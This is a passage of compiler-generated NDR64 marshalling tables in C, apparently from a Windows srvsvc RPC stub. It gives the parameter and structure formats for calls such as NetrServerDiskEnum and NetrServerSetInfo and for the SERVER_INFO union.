    0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag552,\n        { \n        /* InfoStruct */\n            0,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag538_t __midl_frag538 =\n{ \n/*  */\n    { \n    /* *_DISK_INFO */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag532\n    }\n};\n\nstatic const __midl_frag537_t __midl_frag537 =\n{ \n/* struct _NDR64_NON_CONFORMANT_STRING_FORMAT */\n    { \n    /* struct _NDR64_NON_CONFORMANT_STRING_FORMAT */\n        0x61,    /* FC64_WCHAR_STRING */\n        { \n        /* struct _NDR64_NON_CONFORMANT_STRING_FORMAT */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    },\n    (NDR64_UINT32) 6 /* 0x6 */\n};\n\nstatic const __midl_frag536_t __midl_frag536 =\n{ \n/* _DISK_INFO */\n    { \n    /* _DISK_INFO */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* _DISK_INFO */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 6 /* 0x6 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag537\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag535_t __midl_frag535 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_NOOP */\n        0x5,    /* FC_EXPR_PAD */\n        (NDR64_UINT8) 4 /* 0x4 */,\n        (NDR64_UINT16) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag532_t __midl_frag532 =\n{ \n/* *_DISK_INFO */\n    { \n    /* *_DISK_INFO */\n        { \n        /* *_DISK_INFO */\n            0x47,    /* FC64_BOGUS_ARRAY */\n            (NDR64_UINT8) 1 /* 0x1 */,\n            { \n            /* *_DISK_INFO */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag536\n        },\n        &__midl_frag785,\n        &__midl_frag785,\n        &__midl_frag535\n    }\n};\n\nstatic const __midl_frag531_t __midl_frag531 =\n{ \n/* DISK_ENUM_CONTAINER */\n    { \n    /* DISK_ENUM_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DISK_ENUM_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag538,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag530_t __midl_frag530 =\n{ \n/* *DISK_ENUM_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag531\n};\n\nstatic const __midl_frag526_t __midl_frag526 =\n{ \n/* NetrServerDiskEnum */\n    { \n    /* NetrServerDiskEnum */      /* procedure NetrServerDiskEnum */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 48 /* 0x30 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag737,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DiskInfoStruct */      /* parameter DiskInfoStruct */\n        &__midl_frag531,\n        { \n        /* DiskInfoStruct */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* PreferedMaximumLength */      /* parameter PreferedMaximumLength */\n        &__midl_frag928,\n        { \n        /* PreferedMaximumLength */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* TotalEntries */      /* parameter TotalEntries */\n        &__midl_frag928,\n        { \n        /* TotalEntries */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* ResumeHandle */      /* parameter ResumeHandle */\n        &__midl_frag714,\n        { \n        /* ResumeHandle */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag523_t __midl_frag523 =\n{ \n/* *DWORD */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag737\n};\n\nstatic const __midl_frag522_t __midl_frag522 =\n{ \n/* *_SERVER_INFO_1556 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag463\n};\n\nstatic const __midl_frag479_t __midl_frag479 =\n{ \n/* *_SERVER_INFO_1005 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag376\n};\n\nstatic const __midl_frag478_t __midl_frag478 =\n{ \n/* *_SERVER_INFO_599 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag373\n};\n\nstatic const __midl_frag477_t __midl_frag477 =\n{ \n/* *_SERVER_INFO_503 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag370\n};\n\nstatic const __midl_frag476_t __midl_frag476 =\n{ \n/* *_SERVER_INFO_502 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag368\n};\n\nstatic const __midl_frag475_t __midl_frag475 =\n{ \n/* *_SERVER_INFO_103 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag362\n};\n\nstatic const __midl_frag474_t __midl_frag474 =\n{ \n/* *_SERVER_INFO_102 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag356\n};\n\nstatic const __midl_frag473_t __midl_frag473 =\n{ \n/* *_SERVER_INFO_101 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag351\n};\n\nstatic const __midl_frag472_t __midl_frag472 =\n{ \n/* *_SERVER_INFO_100 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag347\n};\n\nstatic const __midl_frag471_t __midl_frag471 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag470_t __midl_frag470 =\n{ \n/* _SERVER_INFO */\n    { \n    /* _SERVER_INFO */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag471,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 51 /* 0x33 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 100 /* 0x64 */,\n        &__midl_frag472,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 101 /* 0x65 */,\n        &__midl_frag473,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 102 /* 0x66 */,\n        &__midl_frag474,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 103 /* 0x67 */,\n        &__midl_frag475,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 502 /* 0x1f6 */,\n        &__midl_frag476,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 503 /* 0x1f7 */,\n        &__midl_frag477,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 599 /* 0x257 */,\n        &__midl_frag478,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1005 /* 0x3ed */,\n        &__midl_frag479,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1107 /* 0x453 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1010 /* 0x3f2 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1016 /* 0x3f8 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1017 /* 0x3f9 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1018 /* 0x3fa */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1501 /* 0x5dd */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1502 /* 0x5de */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1503 /* 0x5df */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1506 /* 0x5e2 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1510 /* 0x5e6 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1511 /* 0x5e7 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1512 /* 0x5e8 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1513 /* 0x5e9 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1514 /* 0x5ea */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1515 /* 0x5eb */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1516 /* 0x5ec */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1518 /* 0x5ee */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1523 /* 0x5f3 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1528 /* 0x5f8 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1529 /* 0x5f9 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1530 /* 0x5fa */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1533 /* 0x5fd */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1534 /* 0x5fe */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1535 /* 0x5ff */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1536 /* 0x600 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1538 /* 0x602 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1539 /* 0x603 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1540 /* 0x604 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1541 /* 0x605 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1542 /* 0x606 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1543 /* 0x607 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1544 /* 0x608 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1545 /* 0x609 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1546 /* 0x60a */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1547 /* 0x60b */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1548 /* 0x60c */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1549 /* 0x60d */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1550 /* 0x60e */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1552 /* 0x610 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1553 /* 0x611 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1554 /* 0x612 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1555 /* 0x613 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1556 /* 0x614 */,\n        &__midl_frag522,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag469_t __midl_frag469 =\n{ \n/* *_SERVER_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag470\n};\n\nstatic const __midl_frag465_t __midl_frag465 =\n{ \n/* NetrServerSetInfo */\n    { \n    /* NetrServerSetInfo */      /* procedure NetrServerSetInfo */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag737,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* ServerInfo */      /* parameter ServerInfo */\n        &__midl_frag470,\n        { \n        /* ServerInfo */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* ParmErr */      /* parameter ParmErr */\n        &__midl_frag523,\n        { \n        /* ParmErr */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag463_t __midl_frag463 =\n{ \n/* _SERVER_INFO_1556 */\n    { \n    /* _SERVER_INFO_1556 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* _SERVER_INFO_1556 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    }\n};\n\nstatic const __midl_frag376_t __midl_frag376 =\n{ \n/* _SERVER_INFO_1005 */\n    { \n    /* _SERVER_INFO_1005 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_INFO_1005 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag373_t __midl_frag373 =\n{ \n/* _SERVER_INFO_599 */\n    { \n    /* _SERVER_INFO_599 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_INFO_599 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 232 /* 0xe8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            